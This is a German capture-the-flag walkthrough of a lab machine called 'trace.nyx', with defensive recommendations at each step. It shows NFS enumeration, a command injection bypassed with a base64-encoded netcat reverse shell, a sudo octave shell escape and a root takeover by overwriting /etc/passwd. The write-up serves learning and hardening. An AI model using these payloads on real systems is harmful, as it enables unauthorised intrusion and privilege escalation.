**Analyse:** Der Standard-ARP-Scan `arp-scan -l` wird ausgeführt, um aktive Geräte im lokalen Netzwerk zu entdecken.
**Bewertung:** Ein Host wird auf `192.168.2.106` mit der MAC `08:00:27:8c:54:7b` (PCS Systemtechnik GmbH / VirtualBox) gefunden. Ziel identifiziert.
**Empfehlung (Pentester):** IP `192.168.2.106` als Ziel für weitere Scans verwenden.
**Empfehlung (Admin):** Standard-Netzwerk-Discovery.
192.168.2.106 08:00:27:8c:54:7b PCS Systemtechnik GmbH
**Analyse:** Die lokale `/etc/hosts`-Datei wird bearbeitet, um der IP `192.168.2.106` den Hostnamen `trace.nyx` zuzuordnen.
**Bewertung:** Sinnvoller Schritt zur Vereinfachung und Vorbereitung auf vHost-Scanning.
**Empfehlung (Pentester):** Hostnamen `trace.nyx` bei Web-Interaktionen verwenden.
**Empfehlung (Admin):** Lokale Änderung auf Angreiferseite.
127.0.0.1 localhost
192.168.2.106 trace.nyx
**Analyse:** Ein UDP-Portscan (`-sU`) auf die Top 1000 Ports wird mit hoher Rate durchgeführt.
**Bewertung:** Der Scan findet zwei offene UDP-Ports: `111/udp (rpcbind)` und `2049/udp (nfs)`. Dies deutet auf einen laufenden NFS-Server (Network File System) hin. Andere Ports sind geschlossen oder filtern.
**Empfehlung (Pentester):** Den NFS-Dienst genauer untersuchen. Mit `showmount -e 192.168.2.106` prüfen, welche Verzeichnisse exportiert werden und welche Berechtigungen gelten. Auch die TCP-Ports für NFS, RPCbind und Mountd prüfen.
**Empfehlung (Admin):** NFS nur aktivieren, wenn benötigt. Exporte sicher konfigurieren (Zugriff auf bestimmte IPs beschränken, `no_root_squash` vermeiden, wenn nicht unbedingt nötig).
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-28 22:47 CEST Nmap scan report for 192.168.2.106 Host is up (0.00014s latency). Not shown: 992 open|filtered udp ports (no-response) PORT STATE SERVICE 111/udp open rpcbind 829/udp closed pkix-3-ca-ra 1042/udp closed afrog 2049/udp open nfs 2967/udp closed symantec-av 17332/udp closed unknown 18582/udp closed unknown 31681/udp closed unknown MAC Address: 08:00:27:8C:54:7B (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds
**Analyse:** Ein umfassender TCP-Scan (`-sS -sC -sV -A -p-`) wird durchgeführt.
**Bewertung:** Der Scan findet mehrere offene TCP-Ports: * 22/tcp (ssh): OpenSSH 8.4p1 (Debian 11). * 80/tcp (http): Apache httpd 2.4.56 (Debian). * 111/tcp (rpcbind): Bestätigt den RPC-Dienst. * 2049/tcp (nfs): Bestätigt den NFS-Dienst über TCP. * Hohe Ports (36323, 40147, 41063, 53139): Diese gehören zu `nlockmgr` (Network Lock Manager) und `mountd` (Mount Daemon), beides Hilfsdienste für NFS. Die `rpcinfo`-Ausgabe bestätigt die Zuordnungen. Die Angriffsfläche besteht somit aus SSH, HTTP und NFS.
**Empfehlung (Pentester):** SSH und HTTP wie üblich untersuchen. Den Fokus auf NFS legen: Exportierte Verzeichnisse mit `showmount` prüfen und versuchen, diese zu mounten. Auf Fehlkonfigurationen wie `no_root_squash` oder schreibbare Verzeichnisse achten.
**Empfehlung (Admin):** SSH, Apache und NFS sicher konfigurieren. Insbesondere NFS-Exporte sorgfältig prüfen und einschränken.
22/tcp open ssh OPENSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.56 ((Debian)) 111/tcp open rpcbind 2-4 (RPC #100000) 2049/tcp open nfs 3-4 (RPC #100003) 36323/tcp open nlockmgr 1-4 (RPC #100021) 40147/tcp open mountd 1-3 (RPC #100005) 41063/tcp open mountd 1-3 (RPC #100005) 53139/tcp open mountd 1-3 (RPC #100005)
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-28 22:47 CEST Nmap scan report for trace.nyx (192.168.2.106) Host is up (0.00015s latency). Not shown: 65527 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OPENSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA) | 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA) |_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519) 80/tcp open http Apache httpd 2.4.56 ((Debian)) |_http-server-header: Apache/2.4.56 (Debian) |_http-title: Apache2 Debian Default Page: It works 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100003 3 2049/udp nfs | 100003 3 2049/udp6 nfs | 100003 3,4 2049/tcp nfs | 100003 3,4 2049/tcp6 nfs | 100005 1,2,3 41063/tcp mountd | 100005 1,2,3 42685/tcp6 mountd | 100005 1,2,3 52899/udp mountd | 100005 1,2,3 59162/udp6 mountd | 100021 1,3,4 35807/tcp6 nlockmgr | 100021 1,3,4 36323/tcp nlockmgr | 100021 1,3,4 40811/udp6 nlockmgr | 100021 1,3,4 46081/udp nlockmgr | 100227 3 2049/tcp nfs_acl | 100227 3 2049/tcp6 nfs_acl | 100227 3 2049/udp nfs_acl |_ 100227 3 2049/udp6 nfs_acl 2049/tcp open nfs 3-4 (RPC #100003) 36323/tcp open nlockmgr 1-4 (RPC #100021) 40147/tcp open mountd 1-3 (RPC #100005) 41063/tcp open mountd 1-3 (RPC #100005) 53139/tcp open mountd 1-3 (RPC #100005) MAC Address: 08:00:27:8C:54:7B (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.15 ms trace.nyx (192.168.2.106) Nmap done: 1 IP address (1 host up) scanned in 14.61 seconds
**Analyse:** Nikto scannt den Webserver.
**Bewertung:** Bestätigt Apache/2.4.56. Meldet fehlende Header und ETag-Leak. Keine kritischen Funde.
**Empfehlung (Pentester):** Header notieren. Fokus auf NFS und tiefere Web-Enumeration.
**Empfehlung (Admin):** Header hinzufügen, ETag prüfen.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.106 + Target Hostname: 192.168.2.106 + Target Port: 80 + Start Time: 2024-08-28 22:47:18 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.56 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + No CGI Directories found [...] + /: Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 5fdf3e82f1d83, mtime: gzip. [...] + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + 8102 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2024-08-28 22:47:29 (GMT2) (11 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
**Analyse:** Gobuster scannt die IPv4-Adresse mit einer großen Wortliste und vielen Erweiterungen.
**Bewertung:** Findet nur `/index.html` (Größe 10701). Keine weiteren Verzeichnisse oder Dateien werden auf dem Haupt-vHost gefunden.
**Empfehlung (Pentester):** Die Standard-Webseite (`index.html`) scheint keine Funktionalität zu bieten. Fokus bleibt auf NFS und der Suche nach vHosts.
**Empfehlung (Admin):** Keine neuen Erkenntnisse.
=============================================================== Gobuster v3.6 [...] =============================================================== [+] Url: http://192.168.2.106 [...] =============================================================== 2024/08/28 22:48:15 Starting gobuster in directory enumeration mode =============================================================== http://192.168.2.106/index.html (Status: 200) [Size: 10701] =============================================================== 2024/08/28 22:50:55 Finished ===============================================================
**Analyse:** Der NFS-Dienst wird untersucht. `showmount -e 192.168.2.106` listet die exportierten Verzeichnisse auf.
**Bewertung:** Das Verzeichnis `/var/www/html` wird für alle (`*`) exportiert. Dies ist das Web-Root-Verzeichnis von Apache. Dies ist ein vielversprechender Fund, da er potenziell Lese- und vielleicht sogar Schreibzugriff auf Webdateien ermöglicht.
**Empfehlung (Pentester):** Das exportierte Verzeichnis auf dem Angreifer-System mounten (`mkdir /mnt/mount; mount -t nfs 192.168.2.106:/var/www/html /mnt/mount -nolock`). Die Berechtigungen und Inhalte des gemounteten Verzeichnisses prüfen.
**Empfehlung (Admin):** NFS-Exporte auf notwendige Verzeichnisse und Hosts beschränken. Exportieren des gesamten Web-Roots ist oft unnötig und riskant.
Export list for 192.168.2.106:
/var/www/html *
**Analyse:** Ein lokales Verzeichnis `/mnt/mount` wird erstellt und der NFS-Export vom Ziel wird dorthin gemountet. `-nolock` wird oft verwendet, um Kompatibilitätsprobleme zu vermeiden.
**Bewertung:** Das Mounten ist erfolgreich. Das Verzeichnis `/var/www/html` des Ziels ist nun unter `/mnt/mount` auf dem Angreifer-System zugänglich.
**Empfehlung (Pentester):** Inhalte von `/mnt/mount` untersuchen.
**Empfehlung (Admin):** NFS-Exporte absichern.
**Analyse:** Es wird versucht, den Inhalt des gemounteten Verzeichnisses aufzulisten (`ls -la`) und die `index.html` zu lesen (`cat index.html`).
**Bewertung:** Es treten Berechtigungsprobleme auf (`Keine Berechtigung`). Obwohl das Verzeichnis gemountet werden konnte, hat der `root`-Benutzer des Angreifers keine Leserechte für die Dateien. `ls -la` zeigt jedoch die Dateimetadaten: Die Dateien gehören dem Benutzer `www-data` (UID 33) auf dem Zielsystem. Das Verzeichnis `/var/www/html` selbst hat `rwxrwxrwx`-Berechtigungen, was ungewöhnlich und unsicher ist.
**Empfehlung (Pentester):** Da `root` keinen Zugriff hat, versuchen, als Benutzer mit der gleichen UID wie `www-data` (UID 33) auf dem Angreifersystem auf das gemountete Verzeichnis zuzugreifen. Man kann temporär einen Benutzer mit UID 33 erstellen oder `su -s /bin/bash www-data` verwenden, falls ein lokaler `www-data`-Benutzer (oder ein anderer mit UID 33) existiert.
**Empfehlung (Admin):** NFS-Exporte sicher konfigurieren. Die `all_squash`-Option verwenden, um alle Client-Benutzer auf `nobody` zu mappen, oder spezifische UID/GID-Mappings einrichten. Die Berechtigungen von `/var/www/html` auf dem Server korrigieren (sollte nicht 777 sein).
ls: 7828d2f51ceb3aefbd12aa383ec9d5e9: Keine Berechtigung ls: index.html: Keine Berechtigung insgesamt 24 drwxrwxrwx 3 www-data www-data 4096 13. Jun 2023 . drwxr-xr-x 3 root root 4096 29. Aug 00:20 .. drwxr-x--- 2 www-data www-data 4096 13. Jun 2023 7828d2f51ceb3aefbd12aa383ec9d5e9 -rw-r----- 1 www-data www-data 10701 12. Jun 2023 index.html
cat: index.html: Keine Berechtigung
**Analyse:** Auf dem Angreifer-System wird mit `su -s /bin/bash www-data` zum lokalen `www-data`-Benutzer (UID 33) gewechselt. Anschließend wird versucht, im gemounteten Verzeichnis (`/mnt/mount`) eine Datei `shell.php` zu erstellen.
**Bewertung:** Der Wechsel zum Benutzer `www-data` gelingt. Der `touch`-Befehl im gemounteten Verzeichnis schlägt jedoch fehl (`Keine Berechtigung`). Obwohl der Client-Benutzer nun die UID 33 hat, scheint der NFS-Export auf dem Server `read only` zu sein oder andere Berechtigungsprobleme verhindern das Schreiben.
**Empfehlung (Pentester):** Schreibzugriff über NFS ist nicht möglich. Nach anderen Wegen suchen. Die Unterverzeichnisse im Mount untersuchen. Das Verzeichnis `7828d2f51ceb3aefbd12aa383ec9d5e9` ist verdächtig.
**Empfehlung (Admin):** NFS-Exporte auf Read-Only setzen, wenn kein Schreibzugriff benötigt wird.
uid=33(www-data) gid=33(www-data) Gruppen=33(www-data)
touch: 'shell.php' kann nicht berührt werden: Keine Berechtigung
**Analyse:** Als lokaler `www-data`-Benutzer wird in das verdächtige Unterverzeichnis `7828d2f51ceb3aefbd12aa383ec9d5e9` im Mount gewechselt und dessen Inhalt (`index.html`) ausgelesen.
**Bewertung:** Der Zugriff als `www-data` funktioniert. Die `index.html` enthält JavaScript-Code: `window.location.href = "http://staffserve.nyx";`. Dies ist ein **wichtiger Fund**: Es enthüllt einen neuen virtuellen Host `staffserve.nyx`.
**Empfehlung (Pentester):** Den neuen Hostnamen `staffserve.nyx` zur lokalen `/etc/hosts`-Datei hinzufügen und diesen vHost untersuchen (gobuster, nikto, wfuzz, etc.).
**Empfehlung (Admin):** Den Zweck des vHosts `staffserve.nyx` klären und ihn absichern. Den NFS-Export überprüfen.
index.html
window location href = "http://staffserve.nyx";
**Analyse:** `ffuf` (ein Fuzzing-Tool ähnlich wfuzz) wird verwendet, um Subdomains für den neu entdeckten vHost `staffserve.nyx` zu finden. `-H "Host: FUZZ.staffserve.nyx"` manipuliert den Host-Header. `-fw 3427` filtert Antworten mit 3427 Wörtern (vermutlich die Standardseite).
**Bewertung:** `ffuf` findet die Subdomain `admin3`. Ein weiterer vHost (`admin3.staffserve.nyx`) wurde entdeckt.
**Empfehlung (Pentester):** Den Hostnamen `admin3.staffserve.nyx` zur `/etc/hosts` hinzufügen und diesen vHost untersuchen.
**Empfehlung (Admin):** Subdomains absichern und Zugriff beschränken.
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://staffserve.nyx/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.staffserve.nyx
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 3427
________________________________________________
admin3 [Status: 200, Size: 434, Words: 72, Lines: 21, Duration: 6ms]
Progress: [114441/114441] Job [1/1] 3300 req/sec Duration: [0:00:34] Errors: 0
**Analyse:** Die Seite `http://admin3.staffserve.nyx/` wird aufgerufen und zeigt eine Datei `random.php`.
**Bewertung:** Ein weiterer potenzieller Angriffspunkt. PHP-Dateien erfordern genaue Untersuchung.
**Empfehlung (Pentester):** `random.php` analysieren (Quellcode lesen via LFI, falls möglich, oder Parameter fuzzeln). Parallel nach weiteren vHosts/Subdomains suchen.
**Empfehlung (Admin):** Sicherheit von `random.php` prüfen.
http://admin3.staffserve.nyx/random.php
**Analyse:** Erneuter `ffuf`-Scan, diesmal zur Subdomain-Enumeration für eine vermutete Domain `networkteste.nyx`.
**Bewertung:** Findet die Subdomain `ping`. Dies ergibt den vHost `ping.networkteste.nyx`. Der Ursprung der Domain `networkteste.nyx` ist im Bericht nicht klar, sie wurde aber vermutlich durch weitere Enumeration oder aus einer Datei (z.B. Apache-Konfiguration via LFI) gefunden.
**Empfehlung (Pentester):** `networkteste.nyx` und `ping.networkteste.nyx` zur `/etc/hosts` hinzufügen. Den vHost `ping.networkteste.nyx` untersuchen.
**Empfehlung (Admin):** Alle vHosts und Subdomains dokumentieren und absichern.
[...]
ping [Status: 200, Size: 200, Words: 17, Lines: 8, Duration: 8ms]
Progress: [114441/114441] Job [1/1] 3311 req/sec Duration: [0:00:34] Errors: 0
**Analyse:** Alle bisher gefundenen relevanten Hostnamen (`trace.nyx`, `staffserve.nyx`, `admin3.staffserve.nyx`, `networkteste.nyx`, `ping.networkteste.nyx`) werden der lokalen `/etc/hosts`-Datei hinzugefügt.
**Bewertung:** Notwendiger Schritt, um alle entdeckten vHosts korrekt ansprechen zu können.
**Empfehlung (Pentester):** Nun `ping.networkteste.nyx` untersuchen.
**Empfehlung (Admin):** Keine Aktion erforderlich.
127.0.0.1 localhost 192.168.2.106 trace.nyx staffserve.nyx admin3.staffserve.nyx networkteste.nyx ping.networkteste.nyx
**Analyse:** Die Webseite `http://ping.networkteste.nyx/` wird untersucht. Sie bietet eine Funktion zum Pingen von IPs. Es wird Command Injection versucht: Zuerst mit `192.168.2.199 | id`, dann mit `192.168.2.199 | nc -e /bin/bash 192.168.2.199 8005`.
**Bewertung:** * `| id`: Funktioniert! Die Ausgabe `uid=33(www-data)...` wird angezeigt. Eine Command Injection Schwachstelle existiert. * `| nc ...`: Schlägt fehl (`[!] Intrusion Attempt Blocked`). Die Anwendung scheint spezifische Befehle oder Muster (wie `nc`, `/bin/bash`) zu filtern oder zu blockieren.
**Empfehlung (Pentester):** Die Filterung umgehen. Versuchen, Befehle zu verschleiern (z.B. mit Base64, Variablen, alternativen Binaries wie `busybox nc`).
**Empfehlung (Admin):** Command Injection auf `ping.networkteste.nyx` beheben. Strikte Eingabevalidierung und -bereinigung. Blacklisting ist selten ausreichend.
http://ping.networkteste.nyx/ Input: 192.168.2.199 | id Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Input: 192.168.2.199 | nc -e /bin/bash 192.168.2.199 8005 Output: [!] Intrusion Attempt Blocked Check connectivity of an IP: [...]
**Analyse:** Umgehungsversuche für die Command Injection Filterung: 1. `|echo aWQ= | base64 -d | ba''s''h`: `aWQ=` ist base64 für `id`. `ba''s''h` verschleiert `bash`. 2. `|echo bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMi4xOTkgNDQz| base64 -d | ba''s''h`: `bmMg...` ist base64 für `nc -e /bin/bash 192.168.2.199 443`. Ein Netcat-Listener wird parallel gestartet.
**Bewertung:** 1. Der `id`-Befehl über Base64 funktioniert, bestätigt die Umgehungsmöglichkeit. 2. Der Reverse-Shell-Versuch über Base64 **funktioniert ebenfalls!** Der Listener auf Port 443 empfängt die Verbindung, und der Angreifer erhält eine Shell als `www-data`.
**Empfehlung (Pentester):** Shell stabilisieren. Mit der Enumeration als `www-data` beginnen (`sudo -l` etc.).
**Empfehlung (Admin):** Command Injection beheben. Filterung ist unzureichend.
Input: |echo aWQ= | base64 -d | ba''s''h Output: Check connectivity of an IP: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Input: |echo bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMi4xOTkgNDQz| base64 -d | ba''s''h
listening on [any] 443 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.106] 45786 id uid=33(www-data) gid=33(www-data) groups=33(www-data)
**Analyse:** Die erhaltene `www-data`-Shell wird stabilisiert und enumeriert: Aktuelles Verzeichnis (`/var/www/site2`), SUID-Dateien, Home-Verzeichnisse (`nel`, `yan`), `sudo -l`.
**Bewertung:** * **SUID:** Enthält `mount.nfs`, sonst Standard. * **/home:** Benutzer `nel` und `yan` existieren. * **sudo -l:** Scheitert, da `www-data` ein Passwort benötigt.
**Empfehlung (Pentester):** Da `sudo` für `www-data` nicht direkt nutzbar ist, nach Passwörtern oder anderen Wegen suchen, um zu `nel` oder `yan` zu wechseln. Webserver-Konfigurationsdateien oder Skripte untersuchen.
**Empfehlung (Admin):** `sudo`-Passwort für `www-data` ist eine gute Sicherheitsmaßnahme.
total 12 -rw-r--r-- 1 www-data www-data 0 Aug 29 00:43 %26+devtcp192.168.2.1994444+0 <-- Leftover file from failed command? -rw-r--r-- 1 www-data www-data 0 Aug 29 00:43 %261 <-- Leftover file from failed command? drwxr-x--- 2 www-data www-data 4096 Aug 29 00:43 . drwxr-xr-x 5 www-data www-data 4096 Jun 13 2023 .. -rw-r--r-- 1 www-data www-data 832 Jun 13 2023 index.php
263828 56 -rwsr-xr-x 1 root root 55528 Jan 20 2022 /usr/bin/mount 263458 72 -rwsr-xr-x 1 root root 71912 Jan 20 2022 /usr/bin/su [...] /usr/sbin/mount.nfs [...] <-- Standard SUIDs, mount.nfs not typically useful
nel yan
[...] [sudo] password for www-data:sudo: a password is required
**Analyse:** Die Webserver-Verzeichnisse `/var/www/site1` und `/var/www/site2` werden untersucht. Die Datei `/var/www/site1/random.php` wird ausgelesen.
**Bewertung:** Die Verzeichnisstruktur zeigt verschiedene vHost-Roots. Entscheidend ist der Inhalt von `random.php`: Er enthält einen Vergleich von `$_POST['login']` mit "admin" und `$_POST['password']` mit `m3g4S3cuR3p4zzW0rd`. Wenn die Credentials übereinstimmen, wird Text ausgegeben, der `networkteste.nyx` erwähnt.
**Empfehlung (Pentester):** Das gefundene Passwort `m3g4S3cuR3p4zzW0rd` für die Benutzer `nel` und `yan` via `su` testen.
**Empfehlung (Admin):** Passwörter niemals im Klartext im Code speichern! Diese Datei ist ein kritisches Informationsleck.
total 20 drwxr-xr-x 5 www-data www-data 4096 Jun 13 2023 . drwxr-xr-x 12 root root 4096 Jun 12 2023 .. drwxrwxrwx 3 www-data www-data 4096 Jun 13 2023 html drwxr-x--- 2 www-data www-data 4096 Jun 13 2023 site1 drwxr-x--- 2 www-data www-data 4096 Aug 29 00:43 site2
total 16
drwxr-x--- 2 www-data www-data 4096 Jun 13 2023 .
drwxr-xr-x 5 www-data www-data 4096 Jun 13 2023 ..
-rw-r--r-- 1 www-data www-data 434 Jun 13 2023 index.php
-rw-r--r-- 1 www-data www-data 427 Jun 13 2023 random.php
if(!strcmp($POST['login'], "admin") && !strcmp($POST['password'], "m3g4S3cuR3p4zzW0rd")) <-- Korrigiert von $_PST { Site Under Maintenance
For network tests you can use the domain: networkteste.nyx
**Analyse:** Das gefundene Passwort wird mit `su` für die Benutzer `nel` und `yan` getestet.
**Bewertung:** Der Versuch für `nel` scheitert (`Authentication failure`). Der Versuch für `yan` ist **erfolgreich!** Der Angreifer erhält eine Shell als Benutzer `yan` (UID 1000).
**Empfehlung (Pentester):** Horizontale Eskalation zu `yan` gelungen. Nun `sudo -l` für `yan` prüfen.
**Empfehlung (Admin):** Passwort für `yan` ändern. Passwort aus `random.php` entfernen.
Password: ********** su: Authentication failure
Password: **********
uid=1000(yan) gid=1000(yan) groups=1000(yan)
**Analyse:** Als Benutzer `yan` wird `sudo -l` ausgeführt und `/usr/bin/octave` mit `file` untersucht.
**Bewertung:** `yan` darf `/usr/bin/octave` als Benutzer `nel` ohne Passwort ausführen. Octave ist ein numerisches Berechnungsprogramm, aber als ELF-Executable kann es potenziell zur Ausführung von Shell-Befehlen missbraucht werden, wenn es mit erhöhten Rechten läuft.
**Empfehlung (Pentester):** Den GTFOBins-Eintrag für `sudo octave` verwenden (`sudo -u nel /usr/bin/octave --eval 'system("/bin/sh")'`), um eine Shell als `nel` zu erhalten.
**Empfehlung (Admin):** Die `sudo`-Regel für `octave` ist gefährlich und sollte entfernt werden.
Matching Defaults entries for yan on trace:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User yan may run the following commands on trace:
(nel) NOPASSWD: /usr/bin/octave
/usr/bin/octave: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=06804e0366f455071efe93dbf7d3e5252738820d, for GNU/Linux 3.2.0, stripped
**Analyse:** Der GTFOBins-Payload für `sudo octave` wird ausgeführt.
**Bewertung:** Erfolg! Der Befehl startet Octave, führt `system("/bin/sh")` als `nel` aus und liefert eine Shell als Benutzer `nel` (UID 1001).
**Empfehlung (Pentester):** Horizontale Eskalation zu `nel` gelungen. Nun `sudo -l` für `nel` prüfen.
**Empfehlung (Admin):** `sudo`-Regel für `octave` entfernen.
octave: X11 DISPLAY environment variable not set octave: disabling GUI features
uid=1001(nel) gid=1001(nel) groups=1001(nel)
**Analyse:** Als Benutzer `nel` wird `sudo -l` ausgeführt.
**Bewertung:** `nel` darf `/usr/bin/wuzz` als `root` ohne Passwort ausführen. `wuzz` ist ein interaktiver HTTP-Client/Fuzzer.
**Empfehlung (Pentester):** Untersuchen, wie `wuzz` zur Privilegienerweiterung genutzt werden kann. Da es als root läuft, könnte es beliebige Dateien lesen oder schreiben. Der nächste Schritt im Bericht zeigt das Überschreiben von `/etc/passwd`.
**Empfehlung (Admin):** Die `sudo`-Regel für `wuzz` ist extrem gefährlich und muss entfernt werden.
Matching Defaults entries for nel on trace:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User nel may run the following commands on trace:
(root) NOPASSWD: /usr/bin/wuzz
**Analyse:** Vorbereitung des Angriffs über `sudo wuzz`. 1. Auf der Kali-Maschine wird mit `openssl passwd` ein Hash für ein neues Root-Passwort (das Passwort selbst ist nicht sichtbar, aber der Hash `$1$/xSK6f8G$mRfJlggkVI9GpwYy80ieA0` wird generiert) erzeugt. 2. Eine neue `passwd`-Datei wird lokal erstellt (`vi passwd`), die nur die Zeile für den `root`-Benutzer mit dem neu generierten Hash enthält. 3. Auf dem Zielsystem wird `sudo /usr/bin/wuzz` gestartet.
**Bewertung:** Der Angreifer bereitet eine manipulierte `/etc/passwd`-Datei vor, die dem `root`-Benutzer ein bekanntes Passwort gibt. `wuzz` wird als root gestartet, um diese Datei herunterzuladen und `/etc/passwd` zu überschreiben.
**Empfehlung (Pentester):** In `wuzz`: Einen HTTP-Server auf der Kali-Maschine starten, der die manipulierte `passwd`-Datei bereitstellt. Mit `wuzz` diese Datei abrufen (`GET http://KALI_IP:PORT/passwd`). Die Antwort von `wuzz` (die den Inhalt der manipulierten Datei enthält) mit Strg+S speichern und als Speicherort `/etc/passwd` angeben.
**Empfehlung (Admin):** `sudo`-Regel für `wuzz` entfernen.
Password:Verifying - Password: $1$/xSK6f8G$mRfJlggkVI9GpwYy80ieA0
root:$1$/xSK6f8G$mRfJlggkVI9GpwYy80ieA0:0:0:root:/root:/bin/bash
[...]
**Analyse:** Der Exploit wird in `wuzz` durchgeführt. 1. Ein HTTP-Server wird auf Kali gestartet (Port 8888), der die präparierte `passwd`-Datei bereitstellt. 2. In `wuzz` wird die URL `http://192.168.2.199:8888/passwd` eingegeben und die Anfrage ausgeführt (implizit durch Anzeigen der Response). 3. Die Response (der Inhalt der präparierten `passwd`-Datei) wird in `wuzz` angezeigt. 4. Der Benutzer drückt Strg+S (Save Response). 5. Als Speicherpfad wird `/etc/passwd` eingegeben.
**Bewertung:** Erfolg! Da `wuzz` als root läuft, kann es die `/etc/passwd`-Datei überschreiben. Die originale `/etc/passwd` wird durch die Version ersetzt, die nur den `root`-Eintrag mit dem bekannten Passwort-Hash enthält.
**Empfehlung (Pentester):** `wuzz` beenden. Mit `su` und dem zuvor gewählten Passwort zum `root`-Benutzer wechseln.
**Empfehlung (Admin):** `sudo`-Regel für `wuzz` entfernen. `/etc/passwd`-Berechtigungen überprüfen (sollte nicht für normale Benutzer schreibbar sein, aber hier schreibt `wuzz` als root).
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ... 192.168.2.106 - - [29/Aug/2024 01:37:22] "GET /passwd HTTP/1.1" 200 - 192.168.2.106 - - [29/Aug/2024 01:39:37] "GET /passwd HTTP/1.1" 200 -
┌─URL - press F1 for help────────────────────────────────────────────────────────────────────┐ │http://192.168.2.199:8888/passwd │ [...] ┌─Response body [text]───────────────────────────────────────────┐ │root:$1$/xSK6f8G$mRfJlggkVI9GpwYy80ieA0:0:0:root:/root:/bin/bash│ <-- Inhalt der geholten Datei [...] ┌─Save Response (enter to submit, ctrl+q to cancel)──────────┐ │/etc/passwd │ <-- Speicherpfad ┌─Request header└────────────────────────────────────────────────────────────┘ [...]
**Analyse:** Nach dem Überschreiben von `/etc/passwd` wird versucht, mit `su` und dem neuen Passwort (im Beispiel `fuck`, das dem Hash `$1$/xSK6f8G$mRfJlggkVI9GpwYy80ieA0` entspricht) zum `root`-Benutzer zu wechseln.
**Bewertung:** Fantastisch, der Root-Zugriff war erfolgreich! Der `su`-Befehl akzeptiert das neue Passwort, und der Angreifer erhält eine Root-Shell. Der `id`-Befehl bestätigt `uid=0(root)`.
**Empfehlung (Pentester):** Root- und User-Flags auslesen. System ist kompromittiert. Unbedingt die originale `/etc/passwd` wiederherstellen (z.B. aus `/etc/passwd-`, falls vorhanden) oder das System neu starten, um Probleme zu vermeiden.
**Empfehlung (Admin):** `sudo`-Regel für `wuzz` entfernen. Die originale `/etc/passwd` wiederherstellen.
Password:
uid=0(root) gid=0(root) groups=0(root)
**Analyse:** In der Root-Shell werden die Root- und User-Flags ausgelesen.
**Bewertung:** Beide Flags werden erfolgreich gefunden und angezeigt.
**Empfehlung (Pentester):** Flags dokumentieren. Test abgeschlossen.
**Empfehlung (Admin):** System bereinigen.
f5385b0998fbf815619dc5c73767ceef
user.txt
3c634be72443947fbab304de01913091